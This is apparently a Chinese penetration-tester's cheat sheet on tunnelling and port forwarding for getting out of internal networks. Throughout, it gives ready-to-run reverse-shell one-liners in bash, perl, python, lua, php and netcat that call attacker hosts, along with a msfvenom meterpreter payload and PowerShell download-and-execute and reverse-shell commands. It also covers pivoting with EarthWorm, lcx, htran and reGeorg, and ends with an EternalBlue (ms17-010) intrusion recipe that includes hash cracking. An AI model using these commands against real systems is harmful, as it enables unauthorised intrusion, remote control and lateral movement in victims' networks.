端口转发总结

…..

传统反弹与网络发现

协议的判断

主要是看能够通过什么协议出去,主要有tcp\http\dns\icmp等协议。常见判断手法如下:

tcp协议

外网vps : nc –lvp port
内网机器:nc ip port

dns协议

外网vps: nc –u –lvp 53
内网机器:
windows: nslookup www.baidu.com vps-ip
linux:dig @vps-ip www.baidu.com

http协议

外网vps : nc –lvp 80 (or 8080等)
内网机器 : curl vps-ip:8080

icmp协议

外网vps:抓包、tcpdump icmp
内网机器:直接ping

端口的判断

外网vps做监听,内网机器测试常见端口,或直接使用端口扫描器进行扫描。

常见能出去的端口有80,8080,443,53,110,123等。

额外情况–代理服务器
还有一种是机器不能直接出来的,需要进行代理设置,这种多数是为了办公网段得办公人员进行上网用的。

常用的判断手法与情况如下:

查看网络连接看是否有连接其他机器的8080(不绝对)等端口,尝试ping –n 1 –a ip
是否有hostname类似于proxy的机器
IE直接代理情况

可以通过查询注册表得到:

reg query "HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

通过pac文件自动代理情况

reg query "HKEY_USERS\[SID]\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

我们可以通过pac文件的路径(可能是本地路径或远程路径)将pac文件下载回来查看,例如某pac文件如下:从中我们能看到其带来服务器为172.16.10.168:8080

    function islocalip(ip) {
           return isInNet(ip, "127.0.0.0", "255.0.0.0") ||
                     isInNet(ip, "169.254.0.0", "255.255.0.0") ||
                     isInNet(ip, "10.0.0.0", "255.0.0.0") ||
                     isInNet(ip, "192.168.0.0", "255.255.0.0") ||
                     }
    function FindProxyForURL(url, host) {
           var DefaultScanner = "PROXY 172.16.10.168:8080; DIRECT";
           var target_ip = dnsResolve(host);
           if (islocalip(target_ip)) {
                         return 'DIRECT';
           } else {
                  return DefaultScanner;
           }
    }

最终我们可以利用curl进行确定:

curl        www.baidu.com      //不通 
curl –x     proxy-ip:8080 www.baidu.com   //通
icmp        ping baidu.com 
http        curl -i  baidu.com 
tcp         telnet baidu.com 
dns         nslookup baidu.com    //当然这里不一定非要百度

其他反弹

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'

顺便提下

searchsploit ms17  |grep py  只匹配py脚本
searchsploit -p 41891.rb 复制完整路径并显示详细信息
searchsploit -m 41891.rb 复制到当前目录
searchsploit -w ms17-010  显示exploit-db在线结果
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

iptables

1、编辑配置文件/etc/sysctl.conf

net.ipv4.ip_forward = 1

2、关闭服务

service iptables stop

3、配置规则

需要访问的内网地址:192.168.206.101
内网边界web服务器:192.168.206.129

iptables -t nat -A PREROUTING --dst 192.168.206.129 -p tcp --dport 3389 -j DNAT --to-destination 192.168.206.101:3389
iptables -t nat -A POSTROUTING --dst 192.168.206.101 -p tcp --dport 3389 -j SNAT --to-source 192.168.206.129

4、保存&&重启服务

service iptables save && service iptables start

EarthWorm[绕防火墙]

http://rootkiter.com/EarthWorm/

  1. 正向 SOCKS v5 服务器

    $ ./ew -s ssocksd -l 1080

  2. 反弹 SOCKS v5 服务器
    这个操作具体分两步:

    a) 先在一台具有公网 ip 的主机A上运行以下命令:

     $ ./ew -s rcsocks -l 1080 -e 8888 
    

    b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

     $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
    
  3. 多级级联

工具中自带的三条端口转发指令,
它们的参数格式分别为:

$ ./ew -s lcx_listen -l  1080   -e 8888
$ ./ew -s lcx_tran   -l  1080   -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave  -d 1.1.1.1 -e 8888    -f 2.2.2.3  -g  9999

通过这些端口转发指令可以将处于网络深层的基于TCP的服务转发至根前,比如 SOCKS v5。
首先提供两个“二级级联”本地SOCKS测试样例:

a) lcx_tran 的用法
    $ ./ew -s ssocksd  -l 9999
    $ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
    $ ./ew -s lcx_listen -l 1080 -e 8888
    $ ./ew -s ssocksd    -l 9999
    $ ./ew -s lcx_slave  -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999

再提供一个“三级级联”的本地SOCKS测试用例以供参考

$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777

数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks

Shell反弹不出[DMZ]

1、先生成一个bind_shell

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=12345 -f exe -o ./shell.exe

2、本地利用tunna工具进行端口转发

python proxy.py -u http://xxxx.com/conn.jsp  -l 3333 -r 12345 v

3、监听

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set LPORT 3333

SSH隧道

三种不同类型的ssh隧道

http://hetaoo.iteye.com/blog/2299123

通过VPS SSH隧道使用本地msf
https://evi1cg.me/archives/Port_Forward_using_VPS_SSH_Tunnel.html

本地访问127.0.0.1:port1就是host:port2(用的更多)

ssh -CfNg -L port1:127.0.0.1:port2 user@host    #本地转发

访问host:port2就是访问127.0.0.1:port1

ssh -CfNg -R port2:127.0.0.1:port1 user@host    #远程转发

可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口

ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip   #正向隧道,监听本地port

可以将dmz_host的hostport端口转发到remote_ip的port端口

ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip  

socket代理

ssh -qTfnN -D port remotehost

反向隧道,用于内网穿透防火墙限制之类

-q      #安静模式
-T      #不占用shell
-f      #后台运行,推荐加-n参数
-N      #不执行远程命令

set RHOST 127.0.0.1

Netsh[tcp]

添加转发规则

netsh interface portproxy set v4tov4 listenaddress=192.168.206.101 listenport=3333 connectaddress=192.168.206.100 connectport=3389

此工具适用于,有一台双网卡服务器,你可以通过它进行内网通信,比如这个,你连接192.168.206.101:3388端口是连接到100上面的3389

删除转发规则

netsh interface portproxy delete v4tov4 listenport=9090

查看现有规则

netsh interface portproxy show all

xp需要安装ipv6

netsh interface ipv6 install

nc [正向]

1、 nc -e /bin/sh -lp 1234
    nc -e /bin/sh 223.8.200.234 1234
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 
    nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

2、  mknod /tmp/backpipe p
    /bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

3、  nc.exe -e cmd.exe -lp 1234  [windows]

lcx 内网转发

监听1234端口,转发数据到2333端口

本地:lcx.exe -listen 1234 6666

将目标的3389转发到本地的1234端口

肉鸡:lcx.exe -slave my_ip 1234 127.0.0.1 3389

re:最好有个vps

reGeorg

https://github.com/sensepost/reGeorg

python reGeorgSocksProxy.py -p 4444 -u http://xxx.com/tunnel.php
vim /etc/proxychains.conf

socks5 127.0.0.1 4444

proxychains4 nmap -sT -Pn -n 192.168.1.2

Tunna[速度较慢]

https://github.com/SECFORCE/Tunna

python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v 
rdesktop 127.0.0.1:1234

Linux portmap 端口映射

转发ssh到外网 不太常用

./portmap -m 2 -p1 6666 -h2 8.8.8.8 -p2 7777    #先在外网执行
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 8.8.8.8 -p2 6666  #在内网shell下执行
ssh 127.0.0.1 -p 7777   #在外网机器上执行

rtcp.py

1. 在B服务器上运行:
    ./rtcp.py l:10001 l:10002
    表示在本地监听了10001与10002两个端口,这样,这两个端口就可以互相传输数据了
2. 在A服务器上运行:
    ./rtcp.py c:localhost:22 c:222.2.2.2:10001
    表示连接本地的22端口与B服务器的10001端口,这两个端口也可以互相传输数据了
3. 然后我们就可以这样来访问A服务器的22端口了:
    ssh 222.2.2.2 -p 10002
    如果报错ssh_exchange_identification: read: Connection reset by peer  解决方法chmod 400 /etc/ssh/*

tunna

第一步 运行proxy.py 并指定端口 python proxy.py -u http://219.x.x.x/conn.jsp -l 1234 -r 3389 -v
第二步 本地执行  rdesktop 127.0.0.1:1234
python2.7 proxy.py -u http://x.x.x.x/conn.jsp -l 1234 -a 172.16.100.20 -r 3389   #-a指定内网的机器

htran
正向代理

服务端      htran.exe -s -bind 8888
客户端      SocksCap:SOCKS Version 5 服务端IP:8888

反向代理

客户端      htran.exe -s -listen 1234 8888
服务端      htran.exe -s -connect 客户端IP 1234
客户端      SocksCap:SOCKS Version 5 127.0.0.1:8888

正向端口转发

服务端      htran.exe -p -tran 8888 127.0.0.1 3389
客户端      RDP 服务端IP:8888

反向端口转发

客户端      htran.exe -p -listen 1234 8888
服务端      htran.exe -p -slave 客户端IP 1234 127.0.0.1 3389
客户端      RDP 127.0.0.1:8888

iptables端口映射

bash
vi /etc/sysctl.conf #将net.ipv4.ip_forward=0更改为net.ipv4.ip_forward=1 开启转发功能
sysctl -p   #使数据转发功能生效
iptables -t nat -A PREROUTING --dst 192.168.46.129 -p tcp --dport 81 -j DNAT --to-destination 172.24.20.25:80 #把本地192.168.46.129的81端口转为目标172,24.20.25的80端口
iptables -t nat -A POSTROUTING --dst 172.24.20.25 -p tcp --dport 80  -j SNAT --to-source 192.168.46.129   #172.24.20.25:80返回时 将ip修改为192.168.46.129

端口转发之PowerShell

https://github.com/samratashok/nishang

Victim IP : 192.168.52.1
Attacker IP : 192.168.52.129

1.Reverse shell[tcp]

Attacker:
    nc -lvp 4444
Victim:
    PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
    PS F:\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

2.Bind shell[tcp]

Victim:
    PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
    PS F:\Shells> Invoke-PowerShellTcp -Bind -Port 8888
Attacker:
    PS F:\Shells> . .\powercat.ps1
    PS F:\Shells> powercat -c 192.168.52.1 -v -p 8888

3.Reverse shell[UDP]支持ipv6

Attacker:
    nc -lvup 53
Victim:
    PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
    PS F:\Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53

4.Bind shell[UDP]

Victim:
    PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
    PS F:\Shells> Invoke-PowerShellUdp -Bind -Port 7777
Attacker:
    nc -vtu 192.168.52.1 7777

5.HTTPS

https://github.com/samratashok/nishang/blob/bfeabd2e043dfef6392e8a930eb1d7a04392af36/Shells/Invoke-PoshRatHttps.ps1

需要Attacker以管理员身份运行,nishang作者最新的脚本会出现错误

Attacker:
    PS F:\Shells> . .\Invoke-PoshRatHttps.ps1
    PS F:\Shells> Invoke-PoshRatHttps -IPAddress 192.168.52.1 -Port 80 -SSLPort 443
Victim:
    PS C:\> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")

6.DNS shell
dnscat2 : https://github.com/iagox86/dnscat2)
powercat: https://github.com/besimorhino/powercat)

dnscat2讲解
https://04z.net/2017/07/13/DNS-Tunnel/

Attacker:
    root@kali:~# ruby dnscat2.rb shellcome.com
Victim:
    PS F:\Shells> . .\powercat.ps1
    PS F:\Shells> powercat -c 192.168.52.131 -v -dns shellcome.com -ep

metasploit

meterpreter> run autoroute -s 192.168.1.0/24
meterpreter> use auxiliary/server/socks4a
msf> route add 192.168.1.0 255.255.255.0 192.168.1.1 [sessionid]

防火墙开启的ms17-010

例如:详细查找ms17-010
https://packetstormsecurity.com/search/?q=MS17-010

1、上传EarthWorm转发端口445到指定端口,然后利用eternalblue+Doublepulsar溢出目标8888端口,成功回弹系统权限的shell
2、由于防火墙限制(也可能其他),直接添加管理员始终不能成功
3、上传工具,获取管理员密码hash破解,成功登陆3389
./ew -s lcx_tran -l 8888 -f 127.0.0.1-g 445

Socks代理工具

re. 使用方法 http://bobao.360.cn/learning/detail/3502.html

Earthworm            http://rootkiter.com/EarthWorm
xsocks            https://github.com/5loyd/xsocks
ShadowSOCKS(影梭)    https://github.com/shadowSOCKS
SocksCap64        http://www.sockscap64.com/
proxychains        http://proxychains.sourceforge.net/

from :
https://04z.net/2017/07/09/AD-Attacks-Forwarding/